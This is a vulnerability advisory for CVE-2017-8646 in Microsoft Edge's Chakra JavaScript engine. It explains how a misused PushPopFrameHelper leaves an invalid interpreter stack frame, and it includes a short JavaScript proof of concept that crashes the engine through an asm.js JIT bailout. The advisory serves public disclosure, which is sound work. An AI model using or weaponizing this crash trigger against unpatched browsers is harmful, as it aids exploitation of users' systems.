Microsoft Edge Chakra PushPopFrameHelper Incorrect Usage

Microsoft Edge Chakra suffers from an incorrect usage of PushPopFrameHelper in InterpreterStackFrame::ProcessLinkFailedAsmJsModule.


MD5 | acec101c7b823cc6f8e22b1fe6ec1f01

 Microsoft Edge: Chakra: Incorrect usage of PushPopFrameHelper in InterpreterStackFrame::ProcessLinkFailedAsmJsModule 

CVE-2017-8646


PushPopFrameHelper is a class that pushes the current stack frame object in its constructor and pops it in the destructor. So it should be used like "PushPopFrameHelper holder(...)", but InterpreterStackFrame::ProcessLinkFailedAsmJsModule uses it like a function.

Var InterpreterStackFrame::ProcessLinkFailedAsmJsModule()
{
...
PushPopFrameHelper(newInstance, _ReturnAddress(), _AddressOfReturnAddress());
...
}

It pushes "newInstance" and immediately pop it.

The PoC will crash in the following code.
void BailOutRecord::ScheduleLoopBodyCodeGen(Js::ScriptFunction * function, Js::ScriptFunction * innerMostInlinee, BailOutRecord const * bailOutRecord, IR::BailOutKind bailOutKind)
{
...
Js::InterpreterStackFrame * interpreterFrame = executeFunction->GetScriptContext()->GetThreadContext()->GetLeafInterpreterFrame(); <<-- Invalid stack frame object
loopHeader = executeFunction->GetLoopHeader(interpreterFrame->GetCurrentLoopNum()); <<-- interpreterFrame->GetCurrentLoopNum() == -1
...
}


PoC:
function asmModule() {
'use asm';

let a = [1, 2, 3, 4];
for (let i = 0; i < 0x100000; i++) { // JIT
a[0] = 1;
if (i === 0x30000) {
a[0] = {}; // the array type changed, bailout!!
}
}

function f(v) {
v = v | 0;
return v | 0;
}
return f;
}

asmModule(1);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


Related Posts

Comments